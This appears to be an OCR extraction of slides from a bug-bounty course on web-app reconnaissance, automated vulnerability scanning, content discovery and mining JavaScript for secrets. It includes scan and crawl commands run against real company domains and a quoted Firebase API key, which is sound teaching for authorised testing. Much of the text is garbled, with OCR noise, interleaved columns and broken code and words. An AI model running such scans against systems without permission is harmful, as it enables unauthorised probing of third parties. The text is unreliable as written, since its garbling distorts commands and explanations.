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THERE ARE MANY LIKE IT, BUT THIS IS MINE

Many people can teach:

Less people teach where to look for web bugs.

This course is a collection of my favorite tips, tools, and tricks.

If you want a holistic course...



PRINT RESOURGES

TBHM will attempt to

give you tips, tricks, and
tools related testing but

there are many great

wholistic texts available
to supplement your app

hacking journey.
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HOLISTIC COURSES :
Web Security Academy is by far the Web Secu rlty
ESERECINE ACademy

security.

It iS Completely free and provides Rana Khalil's Academy | s Eo Sath
text-based instructions on how to I e
approach its labs.

\\o\=“css!m\ma\\:' 1

‘s\y\es\\‘eet” \ 4 colto
o nrefs"heeps:! !maxcd\\‘@““ -
If you want supplemental guidance """ «-Web'Sécurity Academy
to this resource, check out Rana e o
Khalil's free YouTube channel and T

then her very cheap course.



https://www.youtube.com/@RanaKhalil101/videos
https://academy.ranakhalil.com/p/web-security-academy-video-series

HOLISTIC COURSES

Ben aka Nahamsec also - °
nas an excellent course for
Introduction to web

qaCkIng and buq bounty 0 You purchased this course on
qunting. Apr. 26, 2022

It is also relatively cheap.



https://twitter.com/NahamSec
https://www.udemy.com/course/intro-to-bug-bounty-by-nahamsec/

PRACTICE TARGETS

If you want additional labs to hack
there exists several great resources
on the web. Some are free and some
are paid, but relatively cheap.

The first two PentesterlLab and
HackTheBox offer accompanying
training to the topics whereas
VulnHUB is a community of hackers
uploading crackme challenges and
hosting them for other people to
download and solve.

ﬁpentesterLab

@ HACKTHEBOX

N\

I—IUB


https://pentesterlab.com/
https://www.hackthebox.com/
https://www.vulnhub.com/

PRACTICE TARGETS ( )

In addition, OWASP hosts a &) ownsp proscrs Gsprers evas st Q
p rOj ectca I | e d t h e V u l nera b I € OWASP Vulnerable Web Applications Directory

W e b A p p I | cat | ons D | recto ry | Main || Acknowiedgments | Mobile || offiine || online || Containerized |
which tries to keep up with offine

all the practice applications o R

that people make end up on
GitHub.

These are mostly self hosted
labs that you can run through
at your own pace.
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My Profile Section Multiple User Levels
Integration Functions Customer Data
Paid Account Functions Persistent User Input

Published / Used Authenticated API Calls

- Upload / Export Functions

Undocumented API Calls and Admin tools



ANALYSIS CONCEPTS

| like to kick off the analysis course
and talks discussing how | view
applications holistically.

| usually end up approaching an
application by breaking it down
into its layers, profiling it, and then
asking myself questions about its
functionality.

| then prioritize different layers.

Analysis Layers

\l
-

Application Layers as
related to success.

%
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ANALYSIS GONGEPTS (

n general, when looking at an
application that | am destined to
nack | break it up into these
ayers.

While not quite the most
scientific breakout, it helps me
compartmentalize the different
areas | might be targeting to
hack.

We'll jJump into even more
sections when we get into heat
mapping in the later sections of
the course but let's talk a little
bit about them each here...

ﬂpen Ports und fervices  {pefault creds on services, service level exploits}

WE'b Hasﬁng joftwﬂre {Default creds, Web server misconfigurations, web
exploits}

Application Framework

Application: Custom Code or COTS (.}
Application Libraries (usually javascript] ¢.)

Integrations



ANALYSIS CONCEPTS ( )

In general, most of your
hacking success when it
comes to web applications
will come at the

and the

Application: Custom Code or COTS (.}

Also unseen here is if there
are stand alone which
are a very still vulnerable part
of applications these days.

Integrations




ANALYSIS CONCEPTS (

One of the first tasks we need
to do when dealing with a
application is to understand
what it's running,
on what

it's written in, and
what it's using.

Browser extensions like
Whatruns, Wappalyzer, and
BuiltWith can give this
information to us very quickly
without spending too much
time digging around and the
HTML source.

)

o

Wappalyzer

whatruns

What runs tesla.com? @ <

v whatruns

P Twitch



https://chrome.google.com/webstore/detail/whatruns/cmkdbmfndkfgebldhnkbfhlneefdaaip
https://chrome.google.com/webstore/detail/wappalyzer-technology-pro/gppongmhjkpfnbhagpmjfkannfbllamg
https://chrome.google.com/webstore/detail/builtwith-technology-prof/dapjbgnjinbpoindlpdmhochffioedbn

ANALYSIS CONCEPTS ( )

If you don't want to use a browser
extension you can
Wappalyzer by usingatoolcalled |-

Webanalyze WhiCh Wi” give you root@TBox4:~# webanalyze —hst https://www.twitch.tv -crawl 2
technologies of your application ' e e Y
C)r]ltere * zi 2?2:1 count ; gpps.]son

:: search subdomains : true

This is mostly useful if you're T pelyfill, | (Javascript libraries)
. . Nginx, (Web servers, Reverse proxies)
building your own Recon varnish, (caching) i

framework and you want to
enrich your existing data by
adding tech stacks two known
websites in your data-set.


https://github.com/rverton/webanalyze

ANALYSIS CONCEPTS
( )

When analyzing a web application,

In addition to understanding its
tech stack, it's also important to
ask yourself pointed questions
about

Here are that |
use to lead me to better

understanding of the application

and how | will approach hacking it.

We will explore these in more
depth later...

How does the app How/where does the
pass data? app talk about users?

DDF s the app have Does the app have a
multi-tenancy or user S del?
levels? unique threat model!

Has there been past
security research &
vulns?

How does the
app/framework
handle specific vuln
classes?




VULNERABILTY
DISCOVERY
AUTOMATION




AUTOMATED VULN DISGOVERY

A topic among bug bounty hunters(but usually not red teamers)is
the idea of scanning for known vulnerabilities.

We'll discuss this contention a little bit later in the course but automated
vulnerability discovery using toolsis a

using automated tools as a first pass can find you vulnerabilities on scope
that you found during Recon that

, these tools outlined in the next section are good for more than just
scanning for CVE's. They also help you identify what is onaweb
application, find , test for , and more.

, If you are doing your own vulnerability of research and you find something
that could be present in many sites across a scope or campaign you can use these
tools to and scan your original research over



AUTOMATED VULN DISCOVERY( )

Nuclei Scanneris atool by the
Project Discovery team.

« 1000+CVE's
100+ Informational detections
500+ admin panel detectors
. 1500+otherchecks
creds/keys
« b7subdomain takeover
 Http form brute force
« 3428 total templates

ﬁ) Nuclei - Community Powered Vulnerability Scanner

nuclet -1 tesla_httprobe.txt -t brute-force/* -t cves/* -t basic-
detections/* -t dns/* -t files/* -t panels/* -t security-misconfiguration/*
-t subdomain-takeover/* -t technologies/* -t tokens/* -t vulnerabilities/*

[content-delivery-network:akamai] [http] https://auth.tesla.com/
[content-delivery-network:akamai] [http] http://auth.tesla.com/
[content-delivery-network:akamai] [http] https://3.tesla.com/
[content-delivery-network:akamai] [http] http://3.tesla.com/
[ntlm-directories] [http] http://autodiscover.tesla.com/powershell/
[web-server:ms-iis] [http] http://autodiscover.tesla.com/

[web-server:apache] [http] https://employeefeedback.tesla.com/
[content-delivery-network:akamai] [http] http://employeefeedback.tesla.com/

[web-server:apache] [http] https://feedback.tesla.com/
[content-delivery-network:akamai] [http] http://feedback.tesla.com/

[content-delivery-network:akamai] [http] https://edr.tesla.com/
|



https://github.com/projectdiscovery/nuclei

AUTOMATED VULN DISCOVERY( )

Nuclei can be extended with a g,
couple additional projects that add a
of templates.

AllForOne and CENT. —
ceu ~or

It's important to understand that
while you can extend your number
of templates many of them might be
duplicates of the core set.
Additionally, many of them will not
be useful at all.

Nuclei Template Collector

With keeping that in mind, you can
find some gems in these collections
of templates...



https://github.com/projectdiscovery/nuclei
https://github.com/AggressiveUser/AllForOne
https://github.com/xm1k3/cent

AUTOMATED VULN DISGOVERY

Corben Leo
@hacker_

Using Nuclei is a competitive disadvantage.

Contrary to what you've been told, you're guaranteed
duplicates and heartbreak.

Here's why:

Everyone wants easy quick wins.

Creative, unique vulnerabilities aren't found through Nuclei
templates. Hundreds of others (including security teams) scan
with the exact same templates as you. That's a lot of
competition.

Deep dives pay off. Don't believe me?

Corbenisright, but in a certain context.

If you are testing a main site or highly
known target, then yes, scanning has
probably been done already.

However, if you are testing targets that
are “fresh” or found via recon and you
have a feeling not many testers have
seen them before, it can absolutely find
great things.

In addition, making templates for new
vulns or content discovery techniques
in Nuclei is SUPER easy.



AUTOMATED VULN DISGOVERY ( )

One other way to utilize these
automated vulnerability discovery
tools is to quickly port security
research that's been doneinto a
template that you write yourself
and then scan targets for.

So how does one keep up to date
on the most current security
research toportitintoa
template?

Here is the workflow I've used for a
long time but as currently in
trouble because of Twitter API
Iém|ts and changes to tweet deck

+ 00 000000000000 O00OE@

\Z

B8

o &

=

Secrets of automation-kings in bug bounty -
https://bit.ly/3clYgdt



AUTOMATED VULN DISGOVERY ( )

IDOR OR "insecure direct object reference” OR "broken access control”

"SOLI" OR"SOL injection” OR “injection flaw” OR “injection vulnerability”

“local file include” OR “LFI" OR “directory traversal” OR “remote file
include”

* “"RCE" OR“command injection”

« "XSS" OR “Cross-site Scripting” OR “cross site scripting”

* 'SSRF" OR “server side request forgery”

o "XXE" OR“XML External Entity attack”

 “"CSRF"OR “Cross site request forgery”

* “insecure deserialization” OR “Mass assignment vulnerability”



AUTOMATED VULN DISGOVERY ( )

Another place vulnerabilities can be introduced
is in web libraries.

You can automatically scan for vulns in
JavaScript libraries used by applications.

Luckily we've been privileged to have many
open source projects that will scan for outdated
libraries based on their version numbers that
are usually in HTML source code.

The JavaScript file jquery-1.6.2.js' includes a vulnerable version of the library ‘jquery’

The Java Script file "jquery-1.6.2.js" includes a vulnerable version of the library ‘jquery’

One such tool is retireJS which on top of being a o
standalone tool also has a burp extension and
can be instrumented in many other tools.

Issue detail

A word of warning, even though a version of a
library might be present on a website it does
not automatically mean that they haven't
patched out a specific security vulnerability
related to that library.

Aftected versions

The vulnerability is affecting all versions prior 1.9.0b1 (belween * and 1.9.0b1)

You will always have to prove out the
vulnerability that any of these scanners finds for
you.



https://github.com/retirejs/retire.js/
https://github.com/PortSwigger/retire-js

LONTENT
DISLOVERY




WITH THE APF



LONTENT DISCOVERY TYPES

Content Discovery is the part of web
application testing where you are
trying to discover all the routes,
paths, parameters, functions, and
files of an application.

Sometimes content discovery can
also be known as directory brute
forcing but it is much wider topic
than that.

| usually break down content
discovery into six sections.

Based on Tech

Y2

Using known pathing
(Install, DEMD, Leaked)

U\

Y4

Custom

VAN

Y2

Historical

VAN

Y4

Spidering

VAN

Y2

Mobile

VAN




LONTENT DISCOVERY ( )

Of course, acommon way of understanding the structure of the
application you're testing is just to spider it which finds all the kno

. Most of you in this class will have spider to site before using
burp suite or ZAP so we won't spend a ton of time on that. We also
mentioned some of the command line crawlers that you can use in
the Recon session yesterday!

Z]BURP- L - .

PROFESSIONAL

OWASP Zed Attack Proxy (ZAP)

The world’s most popular free web security tool,
actively maintained by a dedicated international
team of volunteers.




LONTENT DISCOVERY ( )

Gobuster v3.1.0

TURBO»?

INTRUDER

ffuf - Fuzz Faster U Fool

E/< <> dirsearch

dirsearch - Web path discovery

- ? u X B U 5 -|- - ? Wifuzz: The Web fuzzer

SIMPLE. FAST. RECURSIVE.




LONTENT DISCOVERY (T:LH)

One way to approach content discovery is to use lists based on
the type of technology the application uses.

Thiscould be at its level, its level, or

generically on what of the application you are doing content
discovery on( ).

We will use several different word lists for content discovery. The
next slide outlines the lists | use based on technologies.

Many of them are found at wordlists.assetnote.io and in the
repository Seclists.



https://wordlists.assetnote.io/
https://github.com/danielmiessler/SecLists

LONTENT DISCOVERY (

IS / MSF

PHP + CGI

httparchive_aspx_asp_cfm_svc_ashx_asmx_... A

IS Shortname Scanner

httparchive_cgi_pl_...

httparchive_php...

A
A

httparchive_apiroutes_...

Tech

General API

swagger-wordlist.txt

A
A

A\ wordlists.assetnote.io

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/api/api-endpoints.txt

Java

httparchiverp_ispa_do_action_...' A

httparchive_directories_lm_...] A

RAFT

Robots Dissalowed

Generic

https://github.com/six2dez/OneListForAll

jhaddix/content_discovery_all.txt




LONTENT DISCOVERY (

Tech

Others

Anything in the "Technology <=> Host Mappings"

AEM

Apache

Cherrypy

Coldfusion

Django

Express

Flask

A\ wordlists.assetnote.io

Laravel

Nginx

RENS

Spring

Symfony

Tomcat

Yii

Zend




LONTENT DISCOVERY (

In our quest to understand every nook and
cranny of our application we might come
to realize that the app we are testing is
based on open-source software or paid
software that you can purchase (COTS/
Commercial Off The Shelf Software).

We can potentially install both types of
software ourself and understand the
pathing and underlying non-custom code
for the application.

There are several ways to do this.

Local Install

hYS

Demos

DA

hYZ

Installed and Leaked
(Github or Dockerhub)

"l

/
\

%




LONTENT DISCOVERY ( )

If you can do a local install of
the software because it's
completely open source, then
you can use Daniel Miessler’s
SourceZ2URL tool to map the
applications routes and
endpoints and then proxy them
through Burp back at your
target domain.




LONTENT DISCOVERY ( )

If you identify the applicationis a
piece of paid software or COTS
there is a chance that the vendor
selling that software has a demo
instance or a process to request a

d e m O Experience the magic of SuiteCRM 8 Try it out for yourself

Products  Services

Get a taster of SuiteCRM and see how we can help your Access your very own instance of SuiteCRM:OnDemand

business by taking part in our free demo. now and you'll get your first 30 days free!

Getting access to a demo instance
will allow you to route the
application through burp suite and SuiteCRM:

grab the pathing for that software. o OnDemand

When doing this it's especially
important to make sure that you
have access to the admin
functionality of the software and
you grab all those paths, routes, or
parameters when proxying.




LONTENT DISCOVERY ( )

Lastly, you might identify a piece of
software is paid or cots, but there Docker Hub is the world's largest
iS NO demo ava”able. library and community for container images

rce projects, and the community.

Many times, when installin

applications like this, developers
do it through dockerhub and W cociertu | Pl gt Ogeors 1 =
accidentally end up posting the
source code somewhere.

fﬁ)}\ xiddahj ~

Searching th rouclgh dockerhub can
find you an installed instances of
the software and because of the
nature of docker hub many times
you can get access to the complete
source code.

Other times you can gain snippets
of a piece of paid software through
developers posting modifications
or sections of it on GitHub.



https://hub.docker.com/

LONTENT DISCOVERY ( )

Sometimes using custom word lists to discover paths
and routes can be beneficial.

This process we'll take contextual words related to our
application and try to build a word list so that you can

brute force paths and parameters based on that context.

For example if you're testing a bank application and you
build one of these word lists, it may include the wor
“Invest” or “transaction” or “deposit".

There are afew tools to do this in the industry, the first
of which was CEWL.

After much experimentation | have actually gone back to
CEWL when | do this sort of content discovery.

You can also use another workflow that feeds GAU into a
tool called wordlistgen.

cewl https://www.geekstorgeeks.org/

array
bound

Copy

URL
computer
articles
Round

Page

Self

Paced
Classes
Working
Professionals
Feed
different
operations
important
Properties
Bound
Theory
Preparation
System

PHP

Must

This

org
Comments
Sort
Fibonacci


https://github.com/digininja/CeWL
https://github.com/lc/gau
https://github.com/ameenmaali/wordlistgen

LONTENT DISCOVERY ( )

Another method for content discovery is to try and search URL data.
There exist several of these sources such as the wayback machine, alien vault, common crawl, and URL scan.

In the previous slide we used to do this. Last year one of our esteemed class members wrote a tool that utilize
this technique but goes much deeper.

Grabbing these URL's from these sources is where many of the tools stop. WayMore by Xnl-h4ck3r will also
download the archived responses and search through them for more links and extra information.

#xnl@xnl-bb:~/Tools/waymore$ python3 waymore.py -i redbull.com -f -xcc -xav -xus -1 1000 -from 2015
TS
| L2 N8 ) ]
0 ) 1L R S
[ D e S ) I |
I )
Links found for *.redbull.com: 2592326 ¥

Responses saved for *.redbull.com: 859 (36 empty responses) ¥


https://github.com/xnl-h4ck3r/waymore

LONTENT DISCOVERY ( )

o1 - 1 lo/fc1icksal > he
Bounty Tip 02 o1 - nukesal _._:."htié
"Content discovery" is trying to guess sensitive paths and files that might exist . : Lo -3 ;EES%
in the application but are not linked anywhere. ] se - 3 els/backups_mysal  ->
Often when doing this part of web assessment you will run into 401 Not I els/htnisql > ith
Authorized responses. It is beneficial to recursively brute force that path. Often : I ' EE{
resources past that path have not had the same access controls applied. In 1468 - /nodels/plsal  -> hetps:
addition, 401 replies should be investigated with waybackmachine 23 308 - 146D . ‘modelirtestenl > hte
(https://archive.org/web/) to see if they ever did not have authentication 71 30 e eontre =.
applied and to garner clues about the application pathing. | > 'Sf;
https://someapp.com/admin/ 401 ; i :'h
https://someapp.com/admin/dashboard/ 401 K | .
https://someapp.com/admin/dashboard/members 200 \ 1468 ntrollers/ntunne | mysa

Last request to: rnturn_prﬂductl




LONTENT DISCOVERY (

Often mobile application
binaries can contain
pathing for the same
website we might be
testing!

Usually thisis an AP
hanging off our main
domain.

You can use APKleaks to
parse out paths from an
APK file to get additional
routes and APl endpoints
and parameters.

)

usage: apkleaks [-h] -f FILE [-o OUTPUT] [-p PATTERN] [--json]

optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE APK file to scanning
-0 OUTPUT, --output OUTPUT
Write to file results (random if not set)
-p PATTERN, --pattern PATTERN
Path to custom patterns JSON
--json Save as JSON format

github.com/dwisiswantO/apkleaks

#access_token

2error=access_denied
rt/mobile/action-execution-log
rt/risk/verifyidentity
rt/external-rewards/create-link/
rt/external-rewards/delete-1link/
rt/external-rewards/get-account-linking-sq
rt/external-rewards/get-celebration-screei
rt/external-rewards/get-program-details-sq
rt/external-rewards/get-programs/
rt/finprod/finprod-rewards-eligibility/elj
rt/finprod/finprod-rewards-eligibility/elj
rt/gifting/get-gift-details
rt/gifting/get-landing-page
rt/gifting/get-purchase-page
rt/gifting/get-purchased-gifts
rt/gifting/get-redemption-page
rt/gifting/purchase-gift-card
rt/gifting/redeem
rt/gifting/send-gift-email
rt/riders/log-hub-user-interaction
rt/communications/get-unsubscriptions
rt/communications/set-unsubscriptions
rt/payments-compliance/v1/oe/hydrate
rt/payments-compliance/v1/uc/submit
rt/payments-compliance/v2/uc/submit
rt/mobile-integration-test/{name}
rt/rewards/get-client-gaming

ubereats.com


https://github.com/dwisiswant0/apkleaks

. JAVASCRIPT
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WHAT ARE WE AFTER?

Endpaoints,



JAVASCRIPT ANALYSIS

One of the most important parts of  unceion a0 ¢

assessing a web application, that return
ties Into content discovery, IS cdivs
analyZIHg the S|teS . h2>§eact Router Step By Step Tutorial</h2>
. . . <ul>
If the application is a heavy (Li><Link to={*/"} > Home </Link></1i>
dﬁvaSCl’lpt framework than Irlntf)jny of s Ve R
the or will be (Li><Link ton{'/ssrvices'} >Services</Link</1i>
defined in the JavaScript. <ut>
Many timeS AP' refere.nCe.S Wi” a|SO <SWitCE:{oute path = "/" exact component = {Home}></Route>
be housed |n JavaScr|pt f||eS. <20u:e pa:: = ”;cznt:ct" componint zAiCo:;actixiRoutm
<Route pa = "/about" component = out}></Route>
o, o . <Route path = "/services" component = {Services}></Route>
Additionally, in the worst case Jswitehs p
scenarios, developers canalso e
store in JavaScript thinking ;"

that no one will find them. }



JAVASCRIPT ANALYSIS (

Again one of our

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Extender Project options User options GAP
e St e e I I l e d C | a S S I I l e I I l b e rS ! Select param types you want to retrieve: Potential parameters found - 56 unique:
REQUEST PARAMETERS RESPONSE PARAMETERS RelayState
XNL, has also created a
1 admin
¥ Message body params ¥ Value of tag attributes within XML structure callback
t O O | t h a t h e I p S u S p a rS e ¥ Param attribute within a multi-part message body ™ Name and Id attributes of HTML input fields = cancelURL
cancelUrl
¥ JSON params ¥ Javascript variables and constants
cancel_url
p at h S a n d rO u t e S O u t Of ¥ Cookie names ¥ Name attribute of Meta tags debug
. . ¥ Items of data within an XML structure ¥ Params from links found dESt, :
destination
J a Va S C r I pt f I | e S . ¥ Value of tag attributes within XML structure GAP Mode: ¥ Parameters ¥ Links @ forward
forward_url
Output options: forwardurl
¥ Include the list of common params in list (e.g. used for redirects)? Potential links found - 41 unique: [ Show origin endpoint [ |In scope only

L ] [ ]
G a D I S a b u r D e Xt e n S I O n ¥ Build concatenated query string with param value | XNLV /api/v1/application/ndigw1aat
/btntjs

v rds i ist?
Include URL path words in parameter list? /gb-en/

W he re yo u Ca n ri g ht C I i C k ¥ Include site map endpoints in link list? /gtmjs

s
Auto save output to directory | C:\Bt Choose. ?c?f/fl]ri‘n::\ill

O n y O u r e n t i re S C O p e a n d it Restore defaults Save options M’ COMPLETED /sdk/rba-lightbox.min.js

/static/uim-web-sdk/6.0/uimRemainingApi-v6.0.0-61f3a6a7.min.js

M | | b The latest generated query string of all parameters: /sw.js
W I g ra ! RelayState=XNLVO&active=XNLV1&admin=XNLV2&callback=XNLV38&cancelURL=XNLV4&canc | | | /Uim/api/application/5b2ce30bd9a0bf285ac70c10/config/production
elUrl=XNLV58&cancel_url=XNLV6&debug=XNLV7&dest=XNLV8&destination=XNLVO&forward | | /uim/api/consent/supported/countries
a n d f ro m n Ot =XNLV10&forward_url=XNLV11&forwardurl=XNLV128&go=XNLV13&goTo=XNLV14&goto=X | /Uim/api/token/reobtain
NLV15&id=XNLV168&location=XNLV17&locationURL=XNLV18&locationUrl=XNLV19&location | |/¥3/confia/pages

url=XNLV20&n=XNLV21&next=XNLV22&out=XNLV23&page=XNLV24&prev=XNLV258&previo

L] L]
O n |y t h e d a Va S C rl pt f I I e S us=XNLV26&r_URL=XNLV278&r_Url=XNLV28&r_url=XNLV29&redir=XNLV30&redirect=XNLV3 | Linkfilter: Negative match [ Case sensitive | Applyfilter
b | ° | ° d S ° Link exclusions: | css, jpg,jpeg,png,svg.img,.gif.mp4,flv,ogv,webm,webp, mov, mp3,m4a,m4p,.scss, tif, tiff, ttf,.otf, woff.woff2, bmp,ico,eot,htc.rtf, swf.image,w3.org,doubleclick.net youtube.com
ut also Inline Javaocript.


https://github.com/xnl-h4ck3r/GAP-Burp-Extension

JAVASCRIPT ANALYSIS ( )

IRYIVRII NI LI \A o= (=IeNeJgul JavaScript Deobfuscator O GitHub
Obfuscated JS COde give A simple but powerful deobfuscator to remove common JavaScript obfuscation

techniques
https://deobfuscate.io a try. |
Output
http://deobfuscate.io:

I
console.log("Total: " + total);

¢8 Unpacks arrays

$8 Simplifies expressions
$8 Beatifies the code :
% and more console[_Bx34c7 ox2ef * -0x11))](_0x498h

»

Deobfuscate
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You should be looking for verbatim, hard-coded secrets in JS files.

JS Miner (Burp extension)adds passive scanning checks to alert you of
these.

https://portswigger.net/bappstore/0ab/a94d8e11449daaf0fb387431225
b

@ Notjust regex either, it uses a(Shannon)entropy function for things
that might be interesting.


https://portswigger.net/bappstore/0ab7a94d8e11449daaf0fb387431225b
https://portswigger.net/bappstore/0ab7a94d8e11449daaf0fb387431225b

JAVASCRIPT
ANALY3SIS

Issues
v @ 1S Miner] Subdomains [14]
0| https://static.twitchcdn.net/assets/clips-main-fb0ade05a4dbg1ccf326.js
0 https://static.twitchcdn.net/assets/core-al1c70feb82484440b9%be.js
0 https://statictwitchcdn.net/assets/features.video-player.components.video-ads.audio-ad-overlay.component-845ad3912c856a72b565.js
0 https://statictwitchcdn.net/assets/features.whispers-1720e5320193abf31c71,js
0 https://statictwitchcdn.net/assets/minimal-ae113aec5ac0aed9c660,s
0 https://statictwitchcdn.net/assets/pages.channel.components.channel-shell.components.chat-shell.components.chat-live-c4052770516bb8acb4b1.js
0 https://statictwitchcdn.net/assets/pages.directory-game-f78773a0c324c1db16a8,)s
0 https://statictwitchcdn.net/assets/pages.following-6bd34fd00edf290e440c s

0 https://statictwitchcdn.net/assets/pages.front-a8bcedaaedeefebs53868,js
0 hittrs i istatic twitchedn netiassets inanes settinns-A2a7a1f7fAGTa43334a8 is

Advisory Request Response Path to issue
Pretty Raw Hex
Ty
{
names:"00 OO", languageCode: "zh-on™, locale: "zh-CH", int 1MessageFormatEey: "zh", loader: functioni) {
return n.=(74222) .then(n.bind(n,820473) )
by
cldrLocale:"zh-hans"

Yy

name: "00 O00O", languageCode: "zh-tw"™, locale: "zh-TW", int 1MessageFormatKey: "zh-hant", loader: function() {
return n.=(11063) .thenin.kind(n,3£0450))
by
cldrLocale:"zh-hant"
T,

name: "000", languageCode:"ja", locale: "ja-JP", loader : function() {
return n.e|(£787) .thenin.bind(n, E793E1) )

name: "000", languageCode: "ko™, locale: "ko-FKR", loader : function() {

ag7

return n.=|(787€Z) .then(n.bindin, 928792 )

1

3 fxarth/404 user 70x70 g",this.defaultStreamPreviewlUEL=

~eview-180x90.7 ",this.defaultBaxAEtURL:”http. static in.jcvnwv. 404 boxart.jpg",this.

n.jtvnw.net/tev-playlists—thunbnails-prod/missing-video—thumb-320x180. q”,this.farceﬁetworkLagginq=!l,this.

networkLoggingHostNames=["twitch. ", "twitch. ch', "jtvnw.net"”, "cwitck et", "twite in . ", "twitchoedn—-shadow. net", "cwitchsve.net", "twitchswve. tech'™,

"twitchsve-shadow.net", "arkoselabs. com”] ,this.defaultletwvorkloggingThreshold=. 15, this. layoutCacheFey="TwitchCache:Layout", this.forceComponentEenchmarking="'1,this.

defaultComponentBenchmarkingThreshold=.1,this. 1l,this.
1", this.tryPrimeURI="https: [ m/ ", this.

=riment owerrides",this.persistentFPlayerEnabledEey="1n is.manifestURL=
dn.r i ifest.j=so -at Wi n.net/ ", this.playerBaseURL="https
"eLdEsQc dkJqdWid4Csdy7 DZMEE1PEEZmlESLRL", this. moonbaseURL
currentAuthConfig=o. Q. Uww

}
return Chject.definePropertyie.prototype, TauthSettings™, {
get:function() {
return this.allAuthSettings[this.currentAuthConfig]
T,
enumerakle: 'l, configurable: '0

1 A s fapi.twitch.tv",c="https: ql.twitch. tv",d="production”, u="irc-ws.chat.twitch.tv",h="https://passport.twitch.tv",g="https id.twitch.tv", =functionie){

function ti){
war t,n=null'==e&&e.apply(this, arguments) | |this;

return n.buildType=i.k.Production,n.apiBaseURL=1,n.graphglEndpoint="".concat (c, "/gql”) ,n.passportBaseURL=h, n.pubsubEnvironment=d,n.tmiHost=u,n. interpolBaseURL=qg,n.
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@LewisArdern made
Metasec.]js a while back
which can be usedon a
downloaded JS file.

It uses the static source
code security analysis
engines of:

@, npm-audit

@, yarn-audit

@, semgrep for secrets
and JS sec issues

metasec.js

Security Meta Analysis For JavaScript Applications.

Experimental functionality:

Reviews the package.json and provides guidance on potential issues or misconfigurations when using a
particular dependency from a repository

Performs third-party dependency scanning using npm or yarn audit
|dentifies secrets using

Identifies security issues using

Finds ReDoS issues with

Finds Electron issues with


https://github.com/LewisArdern/metasecjs

JAVASCRIPT ANALYSIS (

Another resource for unpacking Webpacked JS files is
Webpack Exploder by @spaceraccoonsec

1

II [ |

S |

.I - I .I

Unpack the source code of React and other Webpacked
Javascript apps! Check out Expanding the Aattack Surface:
React HMative Android Applications 1o learn how 1o turbocharge
your React hacking. Test this out against some real samplest

Map File

| Built by Eugene Lim & Sityled by HES.css

—

share: 61 0 6

The following strings can be grepped for in order to extract the Firebase API key from the
yid. bundle :

FIREBASE_APT_KEY
FIREBASE_AUTH_DOMAIN
FIREBASE_DB_URL
FIREBASE_BUCKET
apiKey

For example:

» grep -rnis 'apiKey' index.android.bundle

... omitted for brevity ...

initializeApp({apiKey:"ATzaSyDokhX9fzFlIMfXjwbiiG-2fGDhi4kLPFI",

authDomain: "react-native-examples-bccdd. firebaseapp.com",

databaseURL:"https://react-native-examples-bccdd.firebaseio.com”,
projectId:"react-native-examples-bccdd",

storageBucket:"",

messagingSenderId:"9284973424089"});

.-. omitted for brevity ..

In addition to finding Fire redentials, the in ndroid.bundle file can also be analysed for

-t Mative application | was sing, | w le to find a number of API

https://blog.assetnote.io/bug-bounty/2020/02/02/expanding-attack-surface-react-native/


https://spaceraccoon.github.io/webpack-exploder/
https://twitter.com/spaceraccoonsec

=
= 5
)

—
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The first question | asked myself when looking at an applicationis

Does it use aresource, parameter, value, format?

https://app.com/ ? =ya/caparamZ=value

Or does it use a RESTful format?

https://app.com/route/ / /...

Understanding this will be the cornerstone of how you test for vast categories of bugs.
The bugs will be there, but if you're not familiar with where to inject your payloads, you
will fail.
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Next, | ask myself

Understanding how users(yourself
and other users)are referenced
and where in the applicationis
pivotal to finding several bug
classes,

username

™~ Cookies]

- API Calls
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Does the site have
or ? ‘Users \

This will also dictate how we test )
for authorization and access et
bugs.
g [Admin {cmsﬁramework}}
[Tenanthccount Admin }
Tenant/Account User ]‘
[Tenanthccount Viewer ]‘

[Un authenticated functionality }
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Does the site have ?

If the application houses more than the standard Pll data, it's easy to forget to
target that data in your testing.

Examples: APl keys, application data for doxing.

dashboard.bwitch.tv/u/jhaddix56/settings/stream

€|
Stream Key & Preferences
Primary Stream key live_B9
~ Hide
Disconnect Protection @

Improve the viewing experience for your stream by enabling
stream fails, automatically display a temporary visual to viev
requires the use of a major encoder to work properly.
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Has there been

hitps/samcurmy net/cracking-my-windshield-and-eaming- 10000-on-the-fesia-bug-bounty-program/

DOM DOOM XSS

o invent the DOM DOQO

» before, but feel free to enli

hitps /Aabs.detectify.com/2017/07/27/how-we-invernted-the-tesla-dom-doom-xss/

?

M $100 - $15,000 por vuincrabilty @ Pusd sk narte

Program details Announcements 1

All submissions Disclosed reposts

Disclosed report: posthMessage XSS in lasla Faymont page
By The Tirre + Progesen Teds « Reswved $500 « :Ykrty:l

Yahned O

Disclosed report: 1e

By Thackl) - Program 1 - Pronty 71

Dachacd on 23 Aoy 2021

Disclosed report: Pass

By Matthasl) - Progem Rewand 5500 - Pocaty | rs |

Dichncd on 22 Ma 2021

Disdosed report:

By * Prograe 0,000 - Friosity P2
Disdosed report: Authentication Bypass through HTTP Regues

By tirarnar - Mrogram Towu - Pricely | 13 |

CrowdStream Hall of Fa

me

pword change doss nol invalidate AP keys

15

cleive furm user data indu leak via [Jedpanty] exploit

VPN pre-s 1ared-key and other credentisls

IRy

{"' welStream } » postMessage XSS in Tesla Payment page
postMessage XSS in Tesla Payment page
Disdosed by g TheTmme
Program Disclosed date Reward
Tesla 22 Feb 2022 $500

Summary by TheTime
postMessage XSS in Tesla's payment pages
Report details

Submitted 25 May 2021 16:20:10 VIC
Target Location *.tesla.com
Target category Website Testing
VRT Cross-Site Scripting (XS5) > Reflected > Non-Selt

Priority 3]

Bug URL | https://wwi.tesla.com/ro_ro/modell/design¥payment I

hitps/Abugcrowd.com/disclosures/aac249ea-fe92-4b43-9829-ddal2 1c0ff4d postmessage-xss-in-fesla-payment-page
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Next, a question | find
myself asking when I'm
looking at an application is
how does its web application

protect against a
common type of
vulnerability and have there
been any bypasses?

XSS, CSRF, Input validation,
Output Encoding.

laravel xss

protection
middleware

¥ss validation
filter

XSS security

%55 protection middleware
exploit

%55 bypass

Iore res

https:

inject

People also ask

Is Laravel safe from X557

ugh all request..

for Your Website - Medium

ripting (XSS) allov
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Lastly a question | find v
myself asking when I'm T ——

. . . summer .starbucks.com | bucket_exists | AuthUsers: [], AllUsers: [Read]

| O O kl n g at a n a p p | I Cat I O n placewise | bucket_exists | AuthUsers: [], AllUsers: []
hype-prod | bucket_exists | AuthUsers: [], AllUsers: []

